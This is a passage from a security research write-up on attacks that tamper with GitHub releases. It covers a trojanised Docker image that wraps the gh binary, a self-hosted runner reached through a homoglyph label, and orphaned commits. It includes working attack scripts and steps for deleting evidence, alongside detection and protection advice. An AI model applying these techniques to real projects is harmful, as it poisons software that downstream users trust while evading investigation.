  2. If no build logs exist, but the build has been run less than the default 90 days ago, something is off. You will however not be able to find out what by following trails of logs/code.
  3. If build logs exist, but the tree for the commit hash does not exist, there is something wrong. Again, you will not be able to find out what exactly just by following trails of code.
  4. If build logs exist, and the commit behind the logged hash exists and does something unexpected, you found a problem.

Protection

Ideally at least monitor the repositories you directly consume releases from automatically and check for the detection rules listed above.

If something is off as listed in the detection rules above, stop using the releases offered - this applies to all released artifacts, be it on GitHub, on PyPi, on npm or in another place.

Outlook: GitHub is working on "Immutable Actions Publishing" (Roadmap Issue, planned for Q3 2025). This should allow to push an Action to GitHub Packages as an immutable release. For our use case this would mean that just moving the tag is out of the question. Also check "Future Work: Immutable Actions Publishing" at the bottom of this Readme.

Rating as an attacker

While with Source and Build stage we touch two phases now, shifting left has not been a problem for us. It even allowed us to target artifact repositories other than GitHub Actions (like PyPi and npm).

We do leave visible changes in the workflow definition, be it either slightly hidden by typosquatting (will potentially not draw immediate attention, but very sketchy once detected) or by obviously using a "forked" GitHub Action (should draw immediate attention, but less sketchy).

We are also leaving traces in the "third-party" GitHub Action, since the creation time of our fork gives away something is afoul once someone is investigating.

For this attack we have more moving parts and so making a mistake is more likely. A mistake might create a failing workflow run, and that might give us away big time.

⬆️ Back to the table of contents

Path 3️⃣: Using a GitHub hosted runner with a container under our control

ℹ️ This attack touches both the Source and the Build stage of the SLSA Supply Chain Model.

Since attacking a "third-party" GitHub Action worked well after all, we are going to explore other ways of doing the same: setting ourselves up inconspicuously so that we can insert code from a source under our control during the build.

We already decided that running plain malicious shell commands with a run step is probably not too great. We already exploited using a malicious "third-party" GitHub Action in a uses step. There is however yet another way to influence the code running on a GitHub-hosted runner.

For this attack, we are taking a closer look at using custom containers in our workflow.

And as we did before with tag in GitHub, we can abuse that tags in DockerHub are mutable per default, which again might lead to defenders looking for malicious code in all the wrong places.

OPSEC deliberations and planning

ℹ️ When doing planning for our OPSEC, we need to look at two main topics:

  1. Traces we leave in the Source stage (directly in the source and event logs)
  2. Traces we leave in the Build stage (event logs)

When looking at the Source stage, we can use containers in just a single build step like this (from the documentation):

However, as mentioned in Path 2️⃣ Using a typosquatted third-party GitHub Action in our workflow, we have not seen this in the wild yet and thus find it kind of weird looking. But: we can go for a container for the whole build (documentation):

The default registry is DockerHub, and so we are going to go with it to not have to specify the registry as well.

We sadly cannot just do container: <ourimage>:latest, since we cannot publish to the library namespace allowing for the shorthand (in the example screenshot it is actually library/node:18 that is being pulled). So we need to reference container: <ournamespace>/<ourimage>:<tag> - this means we do need a good namespace.

Again, we could have gone for typosquatting, but this time we decided to go for a very generic name. After some searching and finding out that someone (or several someones) reserved TONS of names connected to GitHub and deployments and so on (which should be a warning by itself!), we ran out of ideas for a innocuous generic name. Then we had an idea: we do not need to typosquat what does not exist AND people like security. So we used the name hardenrunner (named after Harden-Runner, a GitHub Action that adds security monitoring to workflow runs)...

For the repository name we again choose something generic, and since it is placed right under ubuntu-latest for the GitHub-hosted runner, we will go exactly with that. For the tag we just go with latest, since this is tag is kind of supposed to move around anyways:

container: hardenrunner/ubuntu:latest

Now that we know how to reach out to our image, we need to think about how to keep incriminating logs to a minimum.

When looking at the Build stage, for a release running in a container, two log groups get added - Initialize containers and Stop containers:

This gives away clearly that the workflow was running in a container. Also, when diving deeper into the logs we find not only the hardenrunner/ubuntu:latest identifier, but also the digest:

This means that if we do not delete the image after using it for the release, defenders will be able to pull it from the DockerHub registry.

Since we can delete the tag latest and put it on another version of the image we can do a very similar thing to what we did in Path 2️⃣ Using a typosquatted third-party GitHub Action in our workflow when getting rid of the incriminating commit to the actlons/checkout repository. We do not even need to delete the repository: Dockerhub does currently not support a public event stream like GitHub's Events API. According to the API Docs (https://docs.docker.com/reference/api/hub/latest/) there are only three endpoints we can call unauthenticated:

# for repository metadata
https://hub.docker.com/v2/namespaces/hardenrunner/repositories/ubuntu

# listing all tags
https://hub.docker.com/v2/namespaces/hardenrunner/repositories/ubuntu/tags

# getting info on a tag, e.g. `latest`
https://hub.docker.com/v2/namespaces/hardenrunner/repositories/ubuntu/tags/latest

When deleting the image, Docker explicitly warns that the image will be gone forever:

Once the image is deleted, the API just returns a 404 without any indicator that the image once existed:

Just like discussed in Path 2️⃣ Using a typosquatted third-party GitHub Action in our workflow, we could reduce the log retention in GitHub to one day. However, killing the image is already hiding the contents and getting rid of the logs would potentially create more harm than it would have upsides.

😮 And right after we had decided this, we stumbled over an option in the web GUI. Sometimes it just pays off to stick your nose deep into stuff:

And this button is doing something kind of unexpected. This is what it looks like if the retention period of the logs is over, no matter if it has been 90 or 1 days:

And this is what it looks like via the API - with HTTP status 410 Gone as response (Mozilla developer documentation):

This would look off, if you looked at a very recent workflow run, don't you think? But manually deleting workflow logs using the method identified above actually does look different. We create a new release on offensive-actions/releasetests and check the workflow run:

Then, we delete the logs via the button showed above and this is what it looks like after that - see how the tiny arrows that allow you to see the details are missing? This is very different from a The logs for this run have expired and are no longer available, don't you think?

And if we try to load the logs from the API we get a 404 Not Found instead the 410 Gone error:

From our point of view this kind of looks like: "Weird, where are the logs? Maybe there is an error retrieving them somewhere in GitHub, whatever." and not like "Oh, someone deleted their logs, something is up!" Maybe we are wrong, but hey. Also, and this is the way more important factor: using the API, we can delete the logs seconds after they have been created. This potentially allows us to purge the logs before a consumer is able to retrieve them, since consumers cannot use the built-in Webhooks GitHub offers (documentation), but would have to resort to e.g. polling the releases Atom feed:

https://github.com/offensive-actions/release-tampering-pocs/releases.atom

This however is only a solution, if the feed actually works:

Now we are facing a dilemma: what does look more "normal"?

  1. The workflow logs exist like normally, but the digest a defender finds in it does not lead to an image anymore
  2. The workflow logs do not exist anymore

Since it is very obvious that a container is in use (in the worklflow definition itself with container: hardenrunner/ubuntu:latest) and in the still visible Initialize containers and Stop containers steps in the job overview, we decided against deleting the logs. If a defender gets suspicious, the end result is the same anyways: they know a container was in use and cannot load the image themselves for forensic analysis. Less is more.

Now that we have figured out how to treat the image after using it for the tampered release, one thing remains open: how do we do the tampering after all? Since we do only pull the release assets using actions/checkout and then directly release them using gh, we somehow need to get in the middle of that. We figure out that we can actually tamper with the gh binary in the container itself by renaming it to gh.original and creating a bash script named gh that first executes our malicious command and then proxies the initial gh command to the gh.original binary. Since we can delete the image without any trace, there is no need to be stealthy about it in the Dockerfile.

This does sound like a good plan, let's put it in action!

Tampering

⏩ The short version of what we are going to do:

  • DockerHub:
    • Create a malicious Dockerfile
    • Build the image and push it to DockerHub as hardenrunner/ubuntu:latest
  • offensive-actions/release-tampering-pocs:
    • Update the release.yml to have the workflow use the image pushed above
    • Build a new release with v3
  • Dockerhub:
    • Delete the image
    • Remove the malicious code from the Dockerfile
    • Build the image and push it to DockerHub as hardenrunner/ubuntu:latest

We create the Dockerhub namespace and log in on the CLI:

Then, we create the following Dockerfile:

  1. We use ubuntu:latest as base image.
  2. We install gh (and curl and gnupg) using apt-get.
  3. After the installation, we move /usr/bin/gh to /usr/bin/gh.original.
  4. Then, we create a bash script named /usr/bin/gh that does the following:
    • Tamper with the files we checked out in the last build step
    • Call /usr/bin/gh.original with all the arguments the script has been called with.

🔗 You find the raw file in ./assets/attacks/v3/v1_Dockerfile

# Use the latest Ubuntu image as the base
FROM ubuntu:latest

# Avoid interactive prompts during package install
ENV DEBIAN_FRONTEND=noninteractive

# Install prerequisites and GitHub CLI
RUN apt-get update && \
    apt-get install -y curl gnupg && \
    curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | \
      dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg && \
    chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg && \
    echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" \
      | tee /etc/apt/sources.list.d/github-cli.list > /dev/null && \
    apt-get update && \
    apt-get install -y gh && \
    apt-get clean && \
    rm -rf /var/lib/apt/lists/*

# Tamper with the binary
RUN set -eux; \
    GH_PATH="$(command -v gh)"; \
    mv "$GH_PATH" "${GH_PATH}.original"; \
    { \
      echo '#!/bin/bash'; \
      echo 'echo "this has been tampered from within a container" > original.txt'; \
      echo "exec ${GH_PATH}.original \"\$@\""; \
    } > "$GH_PATH"; \
    chmod +x "$GH_PATH"

# Start with bash as the default shell
CMD ["bash"]

Then, we build and tag it locally, and push it to the registry:

docker build -t ubuntu .
docker tag ubuntu hardenrunner/ubuntu
docker push hardenrunner/ubuntu

We find the image via the API:

curl -s https://hub.docker.com/v2/namespaces/hardenrunner/repositories/ubuntu/tags/latest \
| jq '{digest:.images[].digest, last_updated:.last_updated}'

Now that the Dockerhub part is dealt with, we checkout the tampered_releases branch in release-tampering-pocs and update the workflow release.yml by:

  • adding the line container: hardenrunner/ubuntu:latest right after the runs-on definition
  • changing actlons/checkout back to actions/checkout

🔗 You find the raw file in ./.github/workflows/release.yml

jobs:
  create-release:
    runs-on: ubuntu-latest
    container: hardenrunner/ubuntu:latest
    permissions:
      contents: write
    steps:
      - name: Checkout
        uses: actions/checkout@v5

We pull the changes locally, and tag with v3 to create a new release:

git checkout tampered_releases
git pull
git tag v3
git push --tags

The tag triggers the release and once it is finished, we check the logs for the checkout. They look like expected:

https://github.com/offensive-actions/release-tampering-pocs/actions/runs/17616052488/job/50049338199

And the release has been successfully tampered with:

https://github.com/offensive-actions/release-tampering-pocs/releases/tag/v3

We can also check the diff:

https://github.com/offensive-actions/release-tampering-pocs/compare/v0...v3

We delete the incriminating image:

Then we remove the incriminating parts from the Dockerfile:

🔗 You find the raw file in ./assets/attacks/v3/v2_Dockerfile

# Use the latest Ubuntu image as the base
FROM ubuntu:latest

# OPSEC: you should probably add some stuff here so it actually makes sense to use this image
# otherwise every defender will KNOW something is up

# Start with bash as the default shell
CMD ["bash"]

And build and push it again:

docker build -t ubuntu .
docker tag ubuntu hardenrunner/ubuntu
docker push hardenrunner/ubuntu

We again successfully tampered with the release, which is still marked as immutable:

gh api https://api.github.com/repos/offensive-actions/release-tampering-pocs/releases/tags/v3 \
| jq '{immutable:.immutable}'

Indicators of compromise

The main indicator of compromise is the image digest sha256:e84a7e257fe05f89da862a6de063bcad98533a9c05f052bd3e5a5746193e86d5 defenders can find in the build logs for the default of 90 days after the release:

https://github.com/offensive-actions/release-tampering-pocs/actions/runs/17616052488/job/50049338199

Since we removed the first version of the hardenrunner/ubuntu image, following the digest leads to a 404 error:

docker pull hardenrunner/ubuntu@sha256:e84a7e257fe05f89da862a6de063bcad98533a9c05f052bd3e5a5746193e86d5

If a defender follows the tag only however, they will find the currently up-to-date image pointed at by latest - if they look closely enough they will realize that the tag has been moved since the release was built:

# get infos about the last release
gh api /repos/offensive-actions/release-tampering-pocs/releases/tags/v3 \
| jq '{tag: .tag_name, created_at: .created_at, published_at: .published_at, updated_at: .updated_at}'

# get infos about the latest image
curl -s https://hub.docker.com/v2/namespaces/hardenrunner/repositories/ubuntu/tags \
| jq '.results[] | {name: .name,last_updated:.last_updated,tag_last_pushed:.tag_last_pushed}'

They have however no way of getting their hands on the image that was used during the build.

And, just like in Path 2️⃣ Using a typosquatted third-party GitHub Action in our workflow, the profile should probably be niced up a bit (again, I put in my personal information and link to GitHub to make it clear that this is research and not an actual criminal):

https://hub.docker.com/u/hardenrunner

Detection

While it is normal that a tag like latest is getting moved on DockerHub, it is not normal that older images get deleted. If you realize that a release is being built in a custom container, you should go investigate. Check these rules:

  1. If no build logs exist, but the build has been run less than the default 90 days ago, something is off. You will however not be able to find out what by following trails of code.
  2. If build logs exist, but the container image that was used during the build does not exist anymore, there is something wrong. Again, you will not be able to find out what exactly just by following trails of code.
  3. If build logs exist, and the image can be pulled, you should check what it does. Painful.

Protection

Ideally at least monitor the repositories you directly consume releases from automatically and check for the detection rules listed above. This allows you maybe to identify the digest of the image in use, even if you cannot get your hands on the image.

If something is off as listed in the detection rules above, stop using the releases offered - this applies to all released artifacts, be it on GitHub, on PyPi, on npm or in another place.

You could ask the maintainer of the container images to switch on immutable tags in DockerHub (beta feature, here the documentation). That does only help against moving a tag, not against deleting the image however. You can check the API for the repository and find out if immutable tags are in use. Here you can see this is not switched on for hardenrunner/ubuntu:

curl -s https://hub.docker.com/v2/namespaces/hardenrunner/repositories/ubuntu \
| jq '{namespace:.namespace,name:.name,immutable_tags_settings:.immutable_tags_settings}'

Rating as an attacker

We still touch both the Source and the Build stage.

We definitely leave tracks in the source code - we actively use a container as a build environment.

We also leave tracks in the dependencies: the image version that was in use does not exist anymore. It might actually have the advantage of the malicious code not hosted on the GitHub platform at all, so if defenders have set up some protection, this protection might only apply to GitHub and not make it over the border to e.g. DockerHub.

Let's pretend the defenders got their hands on the code of the malicious GitHub Action (Path 2️⃣ Using a typosquatted third-party GitHub Action in our workflow) and they got their hands on the malicious container image. It's most probably way harder to detect what is off in a container vs. reviewing the plain source code.

When it comes to the ease of use, there is no big difference between Path 2️⃣ Using a typosquatted third-party GitHub Action in our workflow and using a custom container.

⬆️ Back to the table of contents

Path 4️⃣: Using a self-hosted runner tagged ubuntu–latest

ℹ️ This attack touches both the Source and the Build stage of the SLSA Supply Chain Model.

This attack is very dear to me, since it was one of the reasons I looked at this topic more in depth. At fwd:cloudsec EU 2024, I had a great conversation during a break. This person (I am sorry, I don't know who you are anymore - if you read this and remember our conversation: THANK YOU and hit me up, please!) told me: "If you run a GitHub workflow with runs-on: ubuntu-latest, and you have a self-hosted runner tagged with ubuntu-latest, the self-hosted runner gets precedence over the GitHub-hosted runners and will be tasked with the build job." I could not quite believe it until I tried it out the same night - it worked! Since the creation of a self-hosted runner is not done in the Source stage, this attack did only touch the Build stage, which is great from an attackers' perspective. The attack still worked in January 2025. When I tried to re-enact it for this repository in September 2025, it had stopped working. So GitHub corrected that behaviour since then (which is great!).

However, since I was kind of sad about this neat little trick not working anymore, I kept digging around the same spot and found out that I can almost recreate it - with just the tiniest bit of touching the Source stage.

GitHub offers support for self-hosted runners. If an attacker controls the infrastructure a build is run on, this is obviously bad news for the integrity of the build. However, normally the tag self-hosted gives the use of self-hosted runners away very openly - but we can get around that.

We identified we can use a homoglyph attack to run our build on a self-hosted runner without specifying self-hosted, while this change in the workflow definition is hidden from the human eye. This kind of attack makes use of the fact that several unicode characters look very much alike, but are not the same when one looks at the byte level. A recent incident using this technique was a phishing campaign against booking.com users leveraging the Japanese hiragana character against a simple / (news coverage here). We however did find something way more indistinguishable: the hypen - and the n-dash .

OPSEC deliberations and planning

ℹ️ When doing planning for our OPSEC, we need to look at two main topics:

  1. Traces we leave in the Source stage (directly in the source and event logs)
  2. Traces we leave in the Build stage (event logs)

First, let's look at the Source stage and the way we conjure the GitHub-hosted runner of the type ubuntu-latest at the moment:

🔗 You find the raw file in ./.github/workflows/release.yml

runs-on: ubuntu-latest

If you run a self-hosted runner, GitHub tells you to reference it like this (documentation):

However, using one label is actually enough, so for the case of the example above this would work, too:

runs-on: linux

If we look at the hexadecimal byte representation of ubuntu-latest we see then hyphen as 2d (a character in both ASCII and UTF-8 encoding):

echo -n 'ubuntu-latest' | xxd 

However, if we substitute the hyphen - with an n-dash , we see e2 80 93 (a character only in UTF-8 encoding). Our terminal already marks these red as "non-ASCII" bytes:

echo -n 'ubuntu–latest' | xxd

We found out that is enough to reference a self-hosted runner with the label ubuntu–latest (with an n-dash instead of a hyphen). This works, because GitHub accepts that character in the label for a runner and differentiates between the hyphen and the n-dash in the source code (as it should, since both are valid UTF-8):

This is the trace that would have been avoided if the "old way" were still working, but it is what it is.

When looking at the Build stage, we leave a very prominent trace, if a defender knows what they are looking for. This is what the logs of a Set up job of a GitHub-hosted runner looks like:

And this is what the logs for the same build step look like when a self-hosted runner is in use:

The differences, especially the grouping of the logs, are huge and cannot be fully influenced by us. We could go ahead and try to find better values for our the Runner name, Runner group name and the Machine name, but ultimately this just puts some paint over a nasty hole in the wall.

We can see this even better in the logs we can request from the logs endpoint in the API:

# job on a GitHub-hosted runner
gh api repos/offensive-actions/releasetests/actions/runs/17495674841/logs > gh_hosted_logs.zip
unzip gh_hosted_logs.zip > /dev/null
cat create-release/system.txt

The same hints at the "hosted runner" are not present if a self-hosted runner is being sent the job:

When looking closer at the logs we see there is more: depending on the other build steps, the home directory and other information gives away that a self-hosted runner is in action. This is the Checkout step on a GitHub-hosted runner:

And this is the same build step on a self-hosted runner:

Let's see if we can emulate a GitHub-hosted runner for this build step:

Doable? Comment
1 We could run the self-hosted runner in a chrooted environment and control the directory names.
2 We could make sure to install the same version of git on the runner under our control.
3 By getting rid of the .gitconfig that is getting copied over, we could make this line vanish.
4 We have control over the environment variables on our self-hosted runner.

We could do all that to minimize the differences for someone looking at the logs with their naked eyes, but the clear reference to a "hosted runner" (when GitHub-hosted) or only "runner" (when self-hosted) in the create-release/system.txt we got in the zip file would give us away if that someone would look very closely or just automate the looking.

Again we start thinking about just deleting the build logs right after the build. However, before we settle for going the potentially still noisy road of deleting the logs, we check for other ways the API might reveal that a self-hosted runner was in use. And we find the jobs endpoint. We look at our test repository releasetests again and see this for a run with a GitHub-hosted runner:

gh api repos/offensive-actions/releasetests/actions/runs/17495674841/jobs \
| jq '.jobs[] | {runner_id:.runner_id, runner_name: .runner_name, runner_group_id:.runner_group_id, runner_group_name:.runner_group_name, labels: .labels}'

And that for a self-hosted runner (same command, just a different run-id):

Let's see if we can get closer to the values of a GitHub-hosted runner for the four marked attributes. We look at all the past workflow runs for our test repository and find several interesting things:

for run_id in $(gh api repos/offensive-actions/releasetests/actions/runs --paginate -q '.workflow_runs[].id');
do
	gh api repos/offensive-actions/releasetests/actions/runs/$run_id/jobs \
	| jq --arg rid "$run_id" '.jobs[] | {run_id:$rid, runner_id:.runner_id, runner_name: .runner_name, runner_group_id:.runner_group_id, runner_group_name:.runner_group_name, labels: .labels}';
done

We deduct (deduct, not know for certain!) from that:

  1. GitHub-hosted runners
    • have a 10-digit run_id that starts at 1000000001 for a repository and counts up
    • have a different runner_name for every run, because it contains the current run-id
    • all have the runner_group_id: 0 with the runner_group_name: GitHub Actions
  2. Self-hosted runners
    • have a run_id that probably starts at 1, counts up, and has no leading numbers - we did not find out why we have run 24 and 25 in this example, maybe (maybe, not sure!) these are run 24 and 25 for self-hosted runners in our namespace? Definitely not in this repository.
    • in this case have a runner_group_id: 1 with the runner_group_name: Default

Before we proceed, we need to know if we can influence the runner_group_id and the runner_group_name for our repository. Turns out that we cannot, because the repository is in a personal namespace (offensive-actions), and not an organization-namespace. Only these support custom runner-groups. So we create the offensive-organization and see if we can create a runner group with the needed values there - it turns out we sadly cannot, because GitHub Runners already exists:

gh api orgs/offensive-organization/actions/runner-groups -X POST -F name="GitHub Actions" -F visibility="all"

Since we got lucky with a homoglyph attack once, why not try it again? We see that a "non-breaking space" (C2 A0) looks very much the same as a regular space (20). Since some text editors convert between them on the fly, we demonstrate this explicitly using echo -e to print the \x escape for the spaces:

# regular space
WITH_SPACE=$(echo -e 'GitHub\x20Actions')
echo -n $WITH_SPACE | xxd

# non-breaking space
WITH_NON_BREAKING_SPACE=$(echo -e 'GitHub\xc2\xA0Actions')
echo -n $WITH_NON_BREAKING_SPACE | xxd

And using this works very much do our delight:

GROUP_NAME=$(echo -e 'GitHub\xc2\xA0Actions')
gh api orgs/offensive-organization/actions/runner-groups -X POST -F name=$GROUP_NAME -F visibility="all" \
| jq '{id:.id, name:.name}'

However, everytime we do this, the id increments by 1 - we did start a new organization and started with the id 3, from where it incremented with every test that we did. This means it looks like we are not able to forge the runner_group_id:

We arrive at the following conclusion about the four values marked before (same screenshot for reference):

Attribute Doable? Comment
1 runner_id Since we are working with incrementing numbers, we might be able to do 1.000.000.000 workflow runs with a self-hosted runner to be able to then have the run_id: 1000000001. This leaves other traces however, so probably not great.
2 runner_name Yes, we can just create a runner name, not a problem.
3 runner_group_id No, we will not be able to get a runner_group_id: 0, at least it looks like it
4 runner_group_name Hell yes we can have the runner_group_name: GitHub Actions, thanks to homoglyphs. Maybe a vector to look into some more. ⚠️ The repository needs to belong to a GitHub Organization to use custom runner groups.

🕰️ History Time

Just as a sanity check we look again at yet another private test repository offensive-actions/release-tampering from January 2025 (when the old self-hosted runner tagged as ubuntu-latest had precedence) and find something very interesting:

This means that the runner_group_id was not 0 back then, runner_id was not a 10-digit number and not part of runner_name. More things seem to have changed, and others might change in the future. Out of curiosity we use a public repository that uses GitHub-hosted runners and has several runs a day - aws/aws-cli. Here we see that the switch to the new system seems to have happened on April 7th 2025 between 00:13am and 11:02pm:

We spot checked the runs since that date and only ever see runner_group_id: 0 and the new runner_id format. This does not guarantee that this is the absolute truth, but it shows that things change over time and both attackers and defenders need to adapt over and over again.

Bottom line for us: we assume that it is safe to say for now that using the /runs endpoint, a defender will be able to see that a workflow run was on a GitHub-hosted runner (runner_group_id: 0) or on a self-hosted runner (runner_group_id not 0). But a defender needs to know that and actively hunt for our activity.

We could tamper with the logs to make them look more like a GitHub-hosted runner, but we will not come close. Again we have a decision: what does look more "normal"?

  1. The workflow logs exist like normally, but directly indicate the run was executed on a self-hosted runner
  2. The workflow logs do not exist anymore, and the fact that a self-hosted runner needs to be actively hunted for

So this time we decide to delete the logs right after the release. We decided to keep the thinking process above for future reference, if things change again...

Even though we found the neat trick of using the GitHub Actions runner group, we will not turn our account offensive-actions into an Organization just for this, since the conversion seems to come with potential headaches. We would do if if we could also get the runner_group_id of 0 and count up the runner_id, but enough is enough.

Let's go again!

Tampering

⏩ The short version of what we are going to do:

  • Runner:
    • Set up a self-hosted runner named GitHub Actions 1000000063 and tagged ubuntu–latest with an n-dash
    • Run a script that overwrites original.txt once it is created
  • offensive-actions/release-tampering-pocs:
    • Update the release.yml to runs-on: ubuntu–latest with a n-dash
    • Build a new release with v4
    • Delete the release logs

We put together the following script that does all the heavy lifting for us. This downloads the actions-runner v2.328.0 and checks the checksum we got from https://github.com/offensive-actions/release-tampering-pocs/settings/actions/runners/new?arch=x64&os=linux. Then, it installs the runner and configures it (including our homoglyph attack). Next it runs the runner and waits for the file original.txt to be written to disk - to directly overwrite it again. After the run was successful, the script cleans up:

🔗 You find the raw file in ./assets/attacks/v4/runner.sh

#!/bin/bash

# set variables
NAMESPACE='offensive-actions'
REPO='release-tampering-pocs'
FILE_TO_OVERWRITE='original.txt'
RUNNER_NAME='GitHub Actions 1000000063'
RUNNER_TAG='ubuntu–latest'
RUNNER_GROUP='Default'

# set the current values for actions-runner
# DO NOT TRUST stuff like that in a repository, if you recreate this change the values yourself
# you find them here: https://github.com/<namespace>/<repository>/settings/actions/runners/new?arch=x64&os=linux
VERSION='2.328.0'
SHA='01066fad3a2893e63e6ca880ae3a1fad5bf9329d60e77ee15f2b97c148c3cd4e'

# mimik the structure in a github runner
RUNNERDIR='/home/runner'
WORKDIR='work'
WORKPATH="$RUNNERDIR/$WORKDIR/$REPO"

# install and config runner, then start it in the background
echo 'Downloading the actions-runner'
sudo rm -rf $RUNNERDIR && sudo mkdir $RUNNERDIR && sudo chown -R "$(id -u -n):$(id -g -n)" $RUNNERDIR && cd $RUNNERDIR
curl -s -o "actions-runner-linux-x64-$VERSION.tar.gz" -L "https://github.com/actions/runner/releases/download/v$VERSION/actions-runner-linux-x64-$VERSION.tar.gz"

echo 'Validating the archive and unpacking the actions-runner'
echo "$SHA  actions-runner-linux-x64-$VERSION.tar.gz" | shasum -a 256 -c && tar xzf "./actions-runner-linux-x64-$VERSION.tar.gz"

echo 'Configuring the actions-runner'
./config.sh \
    --url "https://github.com/$NAMESPACE/$REPO" \
    --token $(gh api -X POST repos/$NAMESPACE/$REPO/actions/runners/registration-token | jq -r '.token') \
    --name $RUNNER_NAME \
    --work $WORKDIR \
    --runnergroup $RUNNER_GROUP \
    --labels $RUNNER_TAG \
    --ephemeral > /dev/null

echo 'Running the actions-runner'
./run.sh > /dev/null &
RUN_PID=$!

# set up the tampering
mkdir -p $WORKPATH
inotifywait $WORKPATH -e create
while read NEW_FILE; do
    if [[ "$NEW_FILE" == "$FILE_TO_OVERWRITE" ]]; then
        echo "This was tampered on a self-hosted runner and is very malicious." > "$WORKPATH/$REPO/$FILE_TO_OVERWRITE"
        echo "File $FILE_TO_OVERWRITE has successfully been tampered with."
        break
    fi
done < <(inotifywait -m "$WORKPATH/$REPO" -e close_write --format '%f')

# wait for the runner to finish, then clean up
while kill -0 "$RUN_PID" 2>/dev/null; do sleep 1; done
sudo rm -rf $RUNNERDIR
echo "Cleaned up, bye..."
exit 0

Then we run the script:

bash runner.sh

We can see the registered runner idling in the GUI:

https://github.com/offensive-actions/release-tampering-pocs/settings/actions/runners

It looks like GitHub does not like the spaces in the runner name (1), but we ignore that (Could we get around that with another homoglyph attack? Try it out!). Also, we see our label ubuntu–latest (2).

Now that the runner is waiting for us, we switch to the tampered_releases branch and once again make changes to .github/workflows/release.yml:

  1. change the hyphen to a n-dash for ubuntu-latest
  2. remove the reference to the hardenrunner container

🔗 You find the raw file in ./.github/workflows/release.yml

runs-on: ubuntu–latest

https://github.com/offensive-actions/release-tampering-pocs/commit/d0834b670fa922300b12042e19b0b6fc454bc555

We pull the changes locally, and tag with v4 to create a new release:

git pull
git checkout tampered_releases
git tag v4
git push --tags

The tag triggers the release and we see our self-hosted runner script reporting back:

We directly go ahead and successfully delete the run logs:

https://github.com/offensive-actions/release-tampering-pocs/actions/runs/17618354072/job/50057416533

And the release has been successfully tampered with:

https://github.com/offensive-actions/release-tampering-pocs/releases/tag/v4

Indicators of compromise

There are several indicators of compromise.

For the Source stage we see in the commit tagged with v4 that non-ASCII bytes are in use:

git checkout v4
git show | grep ubuntu | xxd

For the Build stage we see the runner metadata in the /jobs endpoint does not contain runner_group_id: 0, thus the build did not run on a GitHub-hosted runner (at least according to our research):

gh api repos/offensive-actions/release-tampering-pocs/actions/runs/17618354072/jobs \
| jq '.jobs[] | {runner_id:.runner_id, runner_name: .runner_name, runner_group_id:.runner_group_id, runner_group_name:.runner_group_name, labels: .labels}'

Also, the build logs have been deleted and thus return a 404 Not Found:

gh api repos/offensive-actions/releasetests/actions/runs/17618354072/logs

Detection

As stated, if an artifact is being built on a self-hosted runner, all bets are off about the integrity of the build. By checking the /jobs endpoint and looking for the runner_group_id, at least at the moment, one can clearly say if a runner was GitHub-hosted or self-hosted.

Once you know that the artifact in question was built on a self-hosted runner, you can either trust the maintainer or you do not.

Looking at the other IoCs might help you in that decision. Deleted logs? Probably not good. Looking at the non-ASCII characters alone is not a good indicator, but if there never were any and some are getting introduced all of a sudden, you might want to investigate right there.

Protection

Again, at least monitor the repositories you directly consume releases from automatically and check for the detection rules listed above.

While you cannot create a webhook for the repository, you could for example long-pull the Atom feed for the repository. This feed seems to not have any time delay like the Events API. Sadly the Atom feeds sometimes work, and sometimes they do not. It looks like some of our older repositories still feature the feed, and newer ones do not? But this is just a hunch. We did not find a deprecation notice or any other explanation, just other people having the same problem.

If a maintainer is building on self-hosted machines, reach out and ask why. Maybe it is purely an issue of money? If so, do your part and support the maintainer, so they can afford to pay the GitHub-hosted runners. Don't forget to then ask them to activate immutable releases.

Rating as an attacker

The "self-hosted runner with tag ubuntu-latest has precedence" attack and the inconsistency of the runner_group_id back when it still worked was awesome from an attackers point of view.

We personally also really like this newer attack, because it is just neat. Defenders can spot it with just a single check (runner_group_id not 0), but if they do not know about that, this attack might go unnoticed for quite a while, given that there is practically no change to the source code when looking at it with the naked eye - especially if there are other changes around it, like removing the container dependency in our case.

Also, there are no changes to dependencies after the release was built: no commits "magically" vanishing (see Path 2️⃣ Using a typosquatted third-party GitHub Action in our workflow, and no images being deleted (see Path 3️⃣ Using a GitHub hosted runner with a container under our control). Furthermore, we do not need to create elaborate fake profiles for platforms like Github and DockerHub.

Also, how exactly we are tampering with the release cannot be told from the outside. Containers get pulled right after pushing them to the registry by security companies. The same might be the case for commits to GitHub Actions. But no one can look into our self-hosted infrastructure, if we do our OPSEC right.

⬆️ Back to the table of contents

Path 5️⃣: Putting an orphaned commit into the actions/checkout network

ℹ️ This attack touches both the Source and the Build stage of the SLSA Supply Chain Model.

For this attack, we again are taking a closer look at other GitHub Actions we can use in our workflow.

"Injecting" orphaned commits into well known repositories was one of the vectors used in the attack revolving around reviewdog/action-setup / tj-actions/changed-files (read Unit42's deep dive!). We already touched orphaned commits as unwelcome traces we left (see Path 1️⃣ Changing the assets of a mutable release), this time we are going to create and use one openly, trying to hide behind a commit hash.

OPSEC deliberations and planning

ℹ️ When doing planning for our OPSEC, we need to look at two main topics:

  1. Traces we leave in the Source stage (directly in the source and event logs)
  2. Traces we leave in the Build stage (event logs)

For the Source stage, we are going to leave traces in three repositories:

  • actions/checkout - there we will be visible as fork
  • <namespace>/<reponame> - there we will be "hosting" the fork from actions/checkout
  • offensive-actions/release-tampering-pocs - there we will be integrating the malicious fork

We go ahead and fork actions/checkout into the offensive-actions namespace.

Then, once we push any commit, it will appear in the "Commit Network Graph" (GitHub documentation):

https://github.com/actions/checkout/network

The graph shows the "100 most recently pushed forks" (according to the label next to the graph), so currently, it goes back to end of July:

So in theory, one could just create a lot of fake activity to mess up the history shown in the graph. A bit noisy, if someone investigates.

Next to that, our fork would also be listed in the overview of the forks (you need to believe / test it, we forgot to get a screenshot):

https://github.com/actions/checkout/forks?include=active&page=1&period=1mo&sort_by=last_updated

We can however get rid of that: we can delete our fork and it will not be displayed again after a while, while others populate the graph:

Also, we are not shown anymore in the forks overview:

https://github.com/actions/checkout/forks?include=active&page=1&period=1mo&sort_by=last_updated

What remains is the orphaned commit itself. If one were to get their hands on the commit SHA, they would find it. And this will happen, since we leak the commit SHA in the workflow definition.

